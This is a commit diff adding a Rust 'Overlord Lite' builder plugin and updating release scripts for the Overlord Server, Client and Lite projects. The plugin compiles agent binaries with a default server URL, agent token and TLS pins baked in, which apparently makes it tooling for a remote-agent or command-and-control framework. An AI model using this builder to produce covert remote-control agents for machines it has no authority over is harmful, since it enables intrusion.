const samples = Math.max(0, Number(history[target]?.samples) || 0) + 1;
|
||||||
|
history[target] = {
|
||||||
|
durationMs: Number.isFinite(previous)
|
||||||
|
? Math.round(previous * 0.6 + durationMs * 0.4)
|
||||||
|
: Math.round(durationMs),
|
||||||
|
samples,
|
||||||
|
updatedAt: Date.now(),
|
||||||
|
};
|
||||||
|
try {
|
||||||
|
fs.writeFileSync(historyPath, JSON.stringify(history, null, 2));
|
||||||
|
} catch {
|
||||||
|
// Progress history is optional; a read-only data directory must not fail the build.
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function createTargetProgress(ctx, options) {
|
||||||
|
const DEFAULT_LINK_BUDGET_MS = 35_000;
|
||||||
|
const startedAt = Date.now();
|
||||||
|
const packageStates = new Map();
|
||||||
|
let linking = false;
|
||||||
|
let linkingStartedAt = null;
|
||||||
|
let finalizing = false;
|
||||||
|
let finished = false;
|
||||||
|
let lastStatusAt = 0;
|
||||||
|
let lastLoggedBucket = -1;
|
||||||
|
|
||||||
|
function snapshot() {
|
||||||
|
const elapsedMs = Date.now() - startedAt;
|
||||||
|
const completedPackages = packageStates.size;
|
||||||
|
const freshPackages = Array.from(packageStates.values()).filter(Boolean).length;
|
||||||
|
const packageRatio = options.estimatedPackages > 0
|
||||||
|
? Math.min(1, completedPackages / options.estimatedPackages)
|
||||||
|
: 0;
|
||||||
|
const historicalDurationMs = Number.isFinite(options.historicalDurationMs)
|
||||||
|
? options.historicalDurationMs
|
||||||
|
: null;
|
||||||
|
const linkBudgetMs = historicalDurationMs === null
|
||||||
|
? DEFAULT_LINK_BUDGET_MS
|
||||||
|
: Math.max(10_000, historicalDurationMs * 0.4);
|
||||||
|
const linkingElapsedMs = linkingStartedAt === null ? 0 : Date.now() - linkingStartedAt;
|
||||||
|
let targetRatio = Math.min(0.7, packageRatio * 0.7);
|
||||||
|
if (linking) {
|
||||||
|
const estimatedLinkRatio = Math.min(0.95, linkingElapsedMs / linkBudgetMs);
|
||||||
|
targetRatio = Math.max(targetRatio, 0.7 + estimatedLinkRatio * 0.28);
|
||||||
|
}
|
||||||
|
if (finalizing) targetRatio = Math.max(targetRatio, 0.98);
|
||||||
|
if (finished) targetRatio = 1;
|
||||||
|
const overallRatio = (options.targetIndex + targetRatio) / options.targetCount;
|
||||||
|
|
||||||
|
let predictedTargetMs = null;
|
||||||
|
if (historicalDurationMs !== null && historicalDurationMs > 0) {
|
||||||
|
predictedTargetMs = Math.max(elapsedMs, historicalDurationMs);
|
||||||
|
}
|
||||||
|
if (linking && historicalDurationMs === null) {
|
||||||
|
predictedTargetMs = elapsedMs + Math.max(5_000, linkBudgetMs - linkingElapsedMs);
|
||||||
|
} else if (!linking && elapsedMs >= 5_000 && packageRatio >= 0.05) {
|
||||||
|
const rollingPrediction = elapsedMs / packageRatio + linkBudgetMs;
|
||||||
|
predictedTargetMs = predictedTargetMs === null
|
||||||
|
? rollingPrediction
|
||||||
|
: predictedTargetMs * 0.65 + rollingPrediction * 0.35;
|
||||||
|
}
|
||||||
|
const etaMs = predictedTargetMs === null || finished
|
||||||
|
? null
|
||||||
|
: Math.max(
|
||||||
|
0,
|
||||||
|
predictedTargetMs - elapsedMs +
|
||||||
|
(options.targetCount - options.targetIndex - 1) * predictedTargetMs,
|
||||||
|
);
|
||||||
|
|
||||||
|
return {
|
||||||
|
elapsedMs,
|
||||||
|
completedPackages,
|
||||||
|
freshPackages,
|
||||||
|
targetRatio,
|
||||||
|
overallRatio,
|
||||||
|
etaMs,
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
function emit(force = false) {
|
||||||
|
const now = Date.now();
|
||||||
|
if (!force && now - lastStatusAt < 1_500) return;
|
||||||
|
lastStatusAt = now;
|
||||||
|
const state = snapshot();
|
||||||
|
const targetPercent = Math.round(state.targetRatio * 100);
|
||||||
|
const overallPercent = Math.round(state.overallRatio * 100);
|
||||||
|
const phase = finalizing
|
||||||
|
? "finalizing artifact"
|
||||||
|
: linking
|
||||||
|
? "linking + LTO"
|
||||||
|
: "compiling";
|
||||||
|
const pieces = [
|
||||||
|
`Rust Lite ${options.platform} (${options.targetIndex + 1}/${options.targetCount})`,
|
||||||
|
`${overallPercent}% overall`,
|
||||||
|
`${targetPercent}% target`,
|
||||||
|
phase,
|
||||||
|
];
|
||||||
|
if (options.estimatedPackages > 0) {
|
||||||
|
pieces.push(`${state.completedPackages}/${options.estimatedPackages} crates`);
|
||||||
|
}
|
||||||
|
pieces.push(`${formatDuration(state.elapsedMs)} elapsed`);
|
||||||
|
if (state.etaMs !== null && state.etaMs >= 1_000) {
|
||||||
|
pieces.push(`ETA ~${formatDuration(state.etaMs)}`);
|
||||||
|
}
|
||||||
|
const text = pieces.join(" • ");
|
||||||
|
ctx.build.status(
|
||||||
|
text,
|
||||||
|
Math.min(100, state.overallRatio * 100),
|
||||||
|
state.etaMs === null ? undefined : Math.ceil(state.etaMs / 1000),
|
||||||
|
);
|
||||||
|
|
||||||
|
const bucket = Math.floor(overallPercent / 10);
|
||||||
|
if (bucket > lastLoggedBucket && overallPercent > 0) {
|
||||||
|
lastLoggedBucket = bucket;
|
||||||
|
ctx.build.output(`Progress: ${text}`);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return {
|
||||||
|
startedAt,
|
||||||
|
noteArtifact(packageId, fresh) {
|
||||||
|
const previous = packageStates.get(packageId);
|
||||||
|
packageStates.set(packageId, previous === false ? false : fresh === true);
|
||||||
|
emit();
|
||||||
|
},
|
||||||
|
markLinking() {
|
||||||
|
linking = true;
|
||||||
|
linkingStartedAt ??= Date.now();
|
||||||
|
emit(true);
|
||||||
|
},
|
||||||
|
markFinalizing() {
|
||||||
|
finalizing = true;
|
||||||
|
emit(true);
|
||||||
|
},
|
||||||
|
markFinished() {
|
||||||
|
finished = true;
|
||||||
|
emit(true);
|
||||||
|
return snapshot();
|
||||||
|
},
|
||||||
|
emit,
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
export default {
|
||||||
|
setup(ctx) {
|
||||||
|
ctx.log.info("Rust Lite build provider ready");
|
||||||
|
},
|
||||||
|
|
||||||
|
async onBuild(ctx, payload) {
|
||||||
|
const sourceDir = findSource(String(payload.runtimeRoot || ""));
|
||||||
|
const outputDir = path.resolve(String(payload.outputDir || ""));
|
||||||
|
const targetDir = path.join(ctx.dataDir, "cargo-target");
|
||||||
|
const platforms = Array.isArray(payload.platforms) ? payload.platforms : [];
|
||||||
|
if (platforms.length === 0) throw new Error("No Rust Lite platforms were requested");
|
||||||
|
fs.mkdirSync(outputDir, { recursive: true });
|
||||||
|
fs.mkdirSync(targetDir, { recursive: true });
|
||||||
|
|
||||||
|
const cargoVersion = await capture(["cargo", "--version"], sourceDir);
|
||||||
|
ctx.build.output(`Using ${cargoVersion}`);
|
||||||
|
ctx.build.output(`Rust Lite source: ${sourceDir}`);
|
||||||
|
const settings = payload.settings && typeof payload.settings === "object" ? payload.settings : {};
|
||||||
|
const tlsSpkiPins = Array.isArray(payload.tlsSpkiPins)
|
||||||
|
? payload.tlsSpkiPins.map(String).filter(Boolean)
|
||||||
|
: [];
|
||||||
|
if (tlsSpkiPins.length > 0) {
|
||||||
|
ctx.build.output(
|
||||||
|
`TLS identity pinning: enabled (${tlsSpkiPins.length} trusted key${tlsSpkiPins.length === 1 ? "" : "s"})`,
|
||||||
|
);
|
||||||
|
} else {
|
||||||
|
ctx.build.output("WARNING: No TLS SPKI pin is available for this build", "warn");
|
||||||
|
}
|
||||||
|
const requestedJobs = Math.trunc(Number(settings.jobs));
|
||||||
|
const jobs = Number.isFinite(requestedJobs) && requestedJobs > 0
|
||||||
|
? Math.max(1, Math.min(32, requestedJobs))
|
||||||
|
: null;
|
||||||
|
const version = packageVersion(sourceDir);
|
||||||
|
const artifacts = [];
|
||||||
|
|
||||||
|
const history = readBuildHistory(ctx.dataDir);
|
||||||
|
for (const [targetIndex, platform] of platforms.entries()) {
|
||||||
|
const target = rustTarget(platform);
|
||||||
|
const locked = settings.locked !== false;
|
||||||
|
let estimatedPackages = 0;
|
||||||
|
try {
|
||||||
|
estimatedPackages = await estimatePackageCount(sourceDir, target, locked);
|
||||||
|
} catch (error) {
|
||||||
|
ctx.build.output(`Package-count estimate unavailable: ${error?.message || error}`, "warn");
|
||||||
|
}
|
||||||
|
const progress = createTargetProgress(ctx, {
|
||||||
|
platform,
|
||||||
|
targetIndex,
|
||||||
|
targetCount: platforms.length,
|
||||||
|
estimatedPackages,
|
||||||
|
historicalDurationMs: Number(history[target]?.durationMs) || null,
|
||||||
|
});
|
||||||
|
progress.emit(true);
|
||||||
|
ctx.build.output(`\n=== Rust Lite ${platform} (${target}) ===`);
|
||||||
|
ctx.build.output(
|
||||||
|
`Release profile: opt-level=z, LTO, 1 codegen unit, stripped symbols, panic=abort`,
|
||||||
|
);
|
||||||
|
ctx.build.output(`Cargo jobs: ${jobs === null ? "automatic (host CPU count)" : jobs}`);
|
||||||
|
if (estimatedPackages > 0) ctx.build.output(`Estimated dependency graph: ${estimatedPackages} crates`);
|
||||||
|
const args = [
|
||||||
|
"cargo",
|
||||||
|
"build",
|
||||||
|
"--release",
|
||||||
|
"--target",
|
||||||
|
target,
|
||||||
|
"--message-format=json-render-diagnostics",
|
||||||
|
];
|
||||||
|
if (jobs !== null) args.push("--jobs", String(jobs));
|
||||||
|
if (locked) args.push("--locked");
|
||||||
|
const env = {
|
||||||
|
...process.env,
|
||||||
|
CARGO_TARGET_DIR: targetDir,
|
||||||
|
OVERLORD_LITE_DEFAULT_SERVER: String(payload.serverUrl || ""),
|
||||||
|
OVERLORD_LITE_DEFAULT_AGENT_TOKEN: String(payload.agentToken || ""),
|
||||||
|
OVERLORD_LITE_DEFAULT_BUILD_TAG: String(payload.buildTag || ""),
|
||||||
|
OVERLORD_LITE_DEFAULT_TLS_SPKI_PINS: tlsSpkiPins.join(","),
|
||||||
|
};
|
||||||
|
const proc = Bun.spawn(args, {
|
||||||
|
cwd: sourceDir,
|
||||||
|
env,
|
||||||
|
stdin: "ignore",
|
||||||
|
stdout: "pipe",
|
||||||
|
stderr: "pipe",
|
||||||
|
});
|
||||||
|
const progressTimer = setInterval(() => progress.emit(), 2_000);
|
||||||
|
let exitCode;
|
||||||
|
try {
|
||||||
|
await Promise.all([
|
||||||
|
streamPipe(proc.stdout, (line) => {
|
||||||
|
let message;
|
||||||
|
try {
|
||||||
|
message = JSON.parse(line);
|
||||||
|
} catch {
|
||||||
|
ctx.build.output(line, "info");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if (message.reason === "compiler-artifact" && typeof message.package_id === "string") {
|
||||||
|
progress.noteArtifact(message.package_id, message.fresh === true);
|
||||||
|
} else if (message.reason === "compiler-message" && message.message?.rendered) {
|
||||||
|
const level = message.message.level === "error"
|
||||||
|
? "error"
|
||||||
|
: message.message.level === "warning"
|
||||||
|
? "warn"
|
||||||
|
: "info";
|
||||||
|
ctx.build.output(String(message.message.rendered).trimEnd(), level);
|
||||||
|
}
|
||||||
|
}),
|
||||||
|
streamPipe(proc.stderr, (line) => {
|
||||||
|
if (/^\s*Compiling\s+overlord-lite\b/i.test(line)) progress.markLinking();
|
||||||
|
ctx.build.output(line, /^\s*error(?:\[|:)/i.test(line) ? "error" : "info");
|
||||||
|
}),
|
||||||
|
]);
|
||||||
|
exitCode = await proc.exited;
|
||||||
|
} finally {
|
||||||
|
clearInterval(progressTimer);
|
||||||
|
}
|
||||||
|
if (exitCode !== 0) {
|
||||||
|
throw new Error(
|
||||||
|
`Cargo failed for ${platform} (exit ${exitCode}). Install the ${target} Rust target and its required cross-linker.`,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
progress.markFinalizing();
|
||||||
|
const extension = TARGETS[platform].extension;
|
||||||
|
const builtPath = path.join(targetDir, target, "release", `overlord-lite${extension}`);
|
||||||
|
if (!fs.existsSync(builtPath)) throw new Error(`Cargo did not create ${builtPath}`);
|
||||||
|
const baseName = String(payload.outputName || "overlord-lite").replace(/[^A-Za-z0-9._-]/g, "") || "overlord-lite";
|
||||||
|
const filename = `${baseName}-${platform}${extension}`;
|
||||||
|
fs.copyFileSync(builtPath, path.join(outputDir, filename));
|
||||||
|
artifacts.push({
|
||||||
|
name: `Overlord Lite ${platform}`,
|
||||||
|
filename,
|
||||||
|
platform,
|
||||||
|
version,
|
||||||
|
});
|
||||||
|
const completed = progress.markFinished();
|
||||||
|
recordBuildDuration(ctx.dataDir, target, completed.elapsedMs);
|
||||||
|
const compiledPackages = Math.max(0, completed.completedPackages - completed.freshPackages);
|
||||||
|
ctx.build.output(
|
||||||
|
`Completed ${platform} in ${formatDuration(completed.elapsedMs)} ` +
|
||||||
|
`(${completed.freshPackages} cached, ${compiledPackages} compiled crates)`,
|
||||||
|
"success",
|
||||||
|
);
|
||||||
|
ctx.build.output(`Artifact ready: ${filename}`, "success");
|
||||||
|
}
|
||||||
|
|
||||||
|
return { artifacts };
|
||||||
|
},
|
||||||
|
|
||||||
|
rpc: {
|
||||||
|
async status(_ctx, _params) {
|
||||||
|
let cargo = null;
|
||||||
|
try {
|
||||||
|
cargo = await capture(["cargo", "--version"], process.cwd());
|
||||||
|
} catch (error) {
|
||||||
|
cargo = `Unavailable: ${error?.message || error}`;
|
||||||
|
}
|
||||||
|
return {
|
||||||
|
cargo,
|
||||||
|
host: `${process.platform}-${process.arch}`,
|
||||||
|
note: "Cross-target builds require the corresponding rustup target and linker.",
|
||||||
|
};
|
||||||
|
},
|
||||||
|
},
|
||||||
|
};
|
||||||
@@ -4,6 +4,8 @@ set "SCRIPT_DIR=%~dp0"
|
|||||||
for %%I in ("%SCRIPT_DIR%..") do set "ROOT=%%~fI\"
|
for %%I in ("%SCRIPT_DIR%..") do set "ROOT=%%~fI\"
|
||||||
set "SERVER_SRC=%ROOT%Overlord-Server"
|
set "SERVER_SRC=%ROOT%Overlord-Server"
|
||||||
set "CLIENT_SRC=%ROOT%Overlord-Client"
|
set "CLIENT_SRC=%ROOT%Overlord-Client"
|
||||||
|
set "LITE_SRC=%ROOT%Overlord-Lite"
|
||||||
|
set "LITE_PLUGIN_SRC=%ROOT%plugins\rust-lite-builder"
|
||||||
set "RELEASE_DIR=%ROOT%release"
|
set "RELEASE_DIR=%ROOT%release"
|
||||||
|
|
||||||
if not exist "%SERVER_SRC%\package.json" (
|
if not exist "%SERVER_SRC%\package.json" (
|
||||||
@@ -16,6 +18,16 @@ if not exist "%CLIENT_SRC%\go.mod" (
|
|||||||
exit /b 1
|
exit /b 1
|
||||||
)
|
)
|
||||||
|
|
||||||
|
if not exist "%LITE_SRC%\Cargo.toml" (
|
||||||
|
echo [error] Overlord-Lite not found at: %LITE_SRC%
|
||||||
|
exit /b 1
|
||||||
|
)
|
||||||
|
|
||||||
|
if not exist "%LITE_PLUGIN_SRC%\config.json" (
|
||||||
|
echo [error] Rust Lite Builder plugin not found at: %LITE_PLUGIN_SRC%
|
||||||
|
exit /b 1
|
||||||
|
)
|
||||||
|
|
||||||
where bun >nul 2>&1
|
where bun >nul 2>&1
|
||||||
if errorlevel 1 (
|
if errorlevel 1 (
|
||||||
echo [error] bun was not found in PATH.
|
echo [error] bun was not found in PATH.
|
||||||
@@ -28,34 +40,34 @@ if errorlevel 1 (
|
|||||||
exit /b 1
|
exit /b 1
|
||||||
)
|
)
|
||||||
|
|
||||||
echo [1/10] Building server bundle and web assets...
|
echo [1/11] Building server bundle and web assets...
|
||||||
pushd "%SERVER_SRC%"
|
pushd "%SERVER_SRC%"
|
||||||
call bun install
|
call bun install
|
||||||
if errorlevel 1 goto :err
|
if errorlevel 1 goto :err
|
||||||
call bun run build
|
call bun run build
|
||||||
if errorlevel 1 goto :err
|
if errorlevel 1 goto :err
|
||||||
echo [2/10] Compiling Windows production executable...
|
echo [2/11] Compiling Windows production executable...
|
||||||
call bun run build:prod:win
|
call bun run build:prod:win
|
||||||
if errorlevel 1 goto :err
|
if errorlevel 1 goto :err
|
||||||
echo [3/10] Compiling Linux production executable...
|
echo [3/11] Compiling Linux production executable...
|
||||||
call bun run build:prod:linux
|
call bun run build:prod:linux
|
||||||
if errorlevel 1 goto :err
|
if errorlevel 1 goto :err
|
||||||
popd
|
popd
|
||||||
|
|
||||||
echo [4/10] Skipping prebuilt client binaries ^(prod package exports client source only^)
|
echo [4/11] Skipping prebuilt client binaries ^(prod package exports client source only^)
|
||||||
|
|
||||||
echo [5/10] Preparing release folder...
|
echo [5/11] Preparing release folder...
|
||||||
if exist "%RELEASE_DIR%" rmdir /s /q "%RELEASE_DIR%"
|
if exist "%RELEASE_DIR%" rmdir /s /q "%RELEASE_DIR%"
|
||||||
mkdir "%RELEASE_DIR%"
|
mkdir "%RELEASE_DIR%"
|
||||||
if errorlevel 1 goto :err
|
if errorlevel 1 goto :err
|
||||||
|
|
||||||
echo [6/10] Copying compiled server executables...
|
echo [6/11] Copying compiled server executables...
|
||||||
copy /Y "%SERVER_SRC%\dist\overlord-server.exe" "%RELEASE_DIR%\overlord-server.exe" >nul
|
copy /Y "%SERVER_SRC%\dist\overlord-server.exe" "%RELEASE_DIR%\overlord-server.exe" >nul
|
||||||
if errorlevel 1 goto :err
|
if errorlevel 1 goto :err
|
||||||
copy /Y "%SERVER_SRC%\dist\overlord-server-linux-x64" "%RELEASE_DIR%\overlord-server-linux-x64" >nul
|
copy /Y "%SERVER_SRC%\dist\overlord-server-linux-x64" "%RELEASE_DIR%\overlord-server-linux-x64" >nul
|
||||||
if errorlevel 1 goto :err
|
if errorlevel 1 goto :err
|
||||||
|
|
||||||
echo [6b/10] Copying sharp native module for runtime resolution...
|
echo [6b/11] Copying sharp native module for runtime resolution...
|
||||||
if exist "%SERVER_SRC%\node_modules\sharp" (
|
if exist "%SERVER_SRC%\node_modules\sharp" (
|
||||||
robocopy "%SERVER_SRC%\node_modules\sharp" "%RELEASE_DIR%\node_modules\sharp" /E >nul
|
robocopy "%SERVER_SRC%\node_modules\sharp" "%RELEASE_DIR%\node_modules\sharp" /E >nul
|
||||||
if errorlevel 8 goto :robocopy_err
|
if errorlevel 8 goto :robocopy_err
|
||||||
@@ -65,21 +77,27 @@ if exist "%SERVER_SRC%\node_modules\@img" (
|
|||||||
if errorlevel 8 goto :robocopy_err
|
if errorlevel 8 goto :robocopy_err
|
||||||
)
|
)
|
||||||
|
|
||||||
echo [7/10] Exporting Overlord-Client source for runtime builds...
|
echo [7/11] Exporting Overlord-Client source for runtime builds...
|
||||||
robocopy "%CLIENT_SRC%" "%RELEASE_DIR%\Overlord-Client" /E /XD build .git .vscode >nul
|
robocopy "%CLIENT_SRC%" "%RELEASE_DIR%\Overlord-Client" /E /XD build .git .vscode >nul
|
||||||
if errorlevel 8 goto :robocopy_err
|
if errorlevel 8 goto :robocopy_err
|
||||||
|
|
||||||
echo [8/10] Copying required public web assets...
|
echo [8/11] Exporting Overlord-Lite source and Rust builder plugin...
|
||||||
|
robocopy "%LITE_SRC%" "%RELEASE_DIR%\Overlord-Lite" /E /XD target .git .vscode >nul
|
||||||
|
if errorlevel 8 goto :robocopy_err
|
||||||
|
robocopy "%LITE_PLUGIN_SRC%" "%RELEASE_DIR%\plugins\rust-lite-builder" /E /XD data /XF rust-lite-builder.zip >nul
|
||||||
|
if errorlevel 8 goto :robocopy_err
|
||||||
|
|
||||||
|
echo [9/11] Copying required public web assets...
|
||||||
robocopy "%SERVER_SRC%\public" "%RELEASE_DIR%\public" /E >nul
|
robocopy "%SERVER_SRC%\public" "%RELEASE_DIR%\public" /E >nul
|
||||||
if errorlevel 8 goto :robocopy_err
|
if errorlevel 8 goto :robocopy_err
|
||||||
|
|
||||||
echo [9/10] Minifying public JS, CSS, and HTML assets...
|
echo [10/11] Minifying public JS, CSS, and HTML assets...
|
||||||
pushd "%SERVER_SRC%"
|
pushd "%SERVER_SRC%"
|
||||||
call bun run scripts/minify-public.ts --dir "%RELEASE_DIR%\public"
|
call bun run scripts/minify-public.ts --dir "%RELEASE_DIR%\public"
|
||||||
if errorlevel 1 goto :err
|
if errorlevel 1 goto :err
|
||||||
popd
|
popd
|
||||||
|
|
||||||
echo [10/10] Creating runner scripts...
|
echo [11/11] Creating runner scripts...
|
||||||
|
|
||||||
(
|
(
|
||||||
echo @echo off
|
echo @echo off
|
||||||
|
|||||||
@@ -5,6 +5,8 @@ SCRIPT_DIR="$(cd -- "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
|||||||
ROOT="$(cd -- "$SCRIPT_DIR/.." && pwd)"
|
ROOT="$(cd -- "$SCRIPT_DIR/.." && pwd)"
|
||||||
SERVER_SRC="$ROOT/Overlord-Server"
|
SERVER_SRC="$ROOT/Overlord-Server"
|
||||||
CLIENT_SRC="$ROOT/Overlord-Client"
|
CLIENT_SRC="$ROOT/Overlord-Client"
|
||||||
|
LITE_SRC="$ROOT/Overlord-Lite"
|
||||||
|
LITE_PLUGIN_SRC="$ROOT/plugins/rust-lite-builder"
|
||||||
DIST_CLIENTS_SRC="$ROOT/dist-clients"
|
DIST_CLIENTS_SRC="$ROOT/dist-clients"
|
||||||
RELEASE_DIR="$ROOT/release/prod-package"
|
RELEASE_DIR="$ROOT/release/prod-package"
|
||||||
|
|
||||||
@@ -18,6 +20,16 @@ if [[ ! -f "$CLIENT_SRC/go.mod" ]]; then
|
|||||||
exit 1
|
exit 1
|
||||||
fi
|
fi
|
||||||
|
|
||||||
|
if [[ ! -f "$LITE_SRC/Cargo.toml" ]]; then
|
||||||
|
echo "[error] Overlord-Lite not found at: $LITE_SRC" >&2
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
if [[ ! -f "$LITE_PLUGIN_SRC/config.json" ]]; then
|
||||||
|
echo "[error] Rust Lite Builder plugin not found at: $LITE_PLUGIN_SRC" >&2
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
if ! command -v bun >/dev/null 2>&1; then
|
if ! command -v bun >/dev/null 2>&1; then
|
||||||
echo "[error] bun was not found in PATH." >&2
|
echo "[error] bun was not found in PATH." >&2
|
||||||
exit 1
|
exit 1
|
||||||
@@ -49,25 +61,29 @@ copy_tree_excluding() {
|
|||||||
fi
|
fi
|
||||||
}
|
}
|
||||||
|
|
||||||
echo "[1/5] Building server bundle..."
|
echo "[1/6] Building server bundle..."
|
||||||
pushd "$SERVER_SRC" >/dev/null
|
pushd "$SERVER_SRC" >/dev/null
|
||||||
bun install
|
bun install
|
||||||
bun run build:css
|
bun run build:css
|
||||||
bun run build
|
bun run build
|
||||||
popd >/dev/null
|
popd >/dev/null
|
||||||
|
|
||||||
echo "[2/5] Skipping prebuilt client binaries (prod package exports client source only)"
|
echo "[2/6] Skipping prebuilt client binaries (prod package exports client source only)"
|
||||||
|
|
||||||
echo "[3/5] Preparing release folder..."
|
echo "[3/6] Preparing release folder..."
|
||||||
rm -rf "$RELEASE_DIR"
|
rm -rf "$RELEASE_DIR"
|
||||||
mkdir -p "$RELEASE_DIR"
|
mkdir -p "$RELEASE_DIR"
|
||||||
|
|
||||||
echo "[4/5] Exporting Overlord-Server..."
|
echo "[4/6] Exporting Overlord-Server..."
|
||||||
copy_tree_excluding "$SERVER_SRC" "$RELEASE_DIR/Overlord-Server" "node_modules" ".git" ".vscode"
|
copy_tree_excluding "$SERVER_SRC" "$RELEASE_DIR/Overlord-Server" "node_modules" ".git" ".vscode"
|
||||||
|
|
||||||
echo "[5/5] Exporting Overlord-Client source for runtime builds..."
|
echo "[5/6] Exporting Overlord-Client source for runtime builds..."
|
||||||
copy_tree_excluding "$CLIENT_SRC" "$RELEASE_DIR/Overlord-Client" "build" ".git" ".vscode"
|
copy_tree_excluding "$CLIENT_SRC" "$RELEASE_DIR/Overlord-Client" "build" ".git" ".vscode"
|
||||||
|
|
||||||
|
echo "[6/6] Exporting Overlord-Lite source and Rust builder plugin..."
|
||||||
|
copy_tree_excluding "$LITE_SRC" "$RELEASE_DIR/Overlord-Lite" "target" ".git" ".vscode"
|
||||||
|
copy_tree_excluding "$LITE_PLUGIN_SRC" "$RELEASE_DIR/Overlord-Server/plugins/rust-lite-builder" "data" "rust-lite-builder.zip"
|
||||||
|
|
||||||
if [[ -d "$DIST_CLIENTS_SRC" ]]; then
|
if [[ -d "$DIST_CLIENTS_SRC" ]]; then
|
||||||
echo "[extra] Copying prebuilt dist-clients..."
|
echo "[extra] Copying prebuilt dist-clients..."
|
||||||
mkdir -p "$RELEASE_DIR/dist-clients"
|
mkdir -p "$RELEASE_DIR/dist-clients"
|
||||||
|
|||||||
Reference in New Issue
Block a user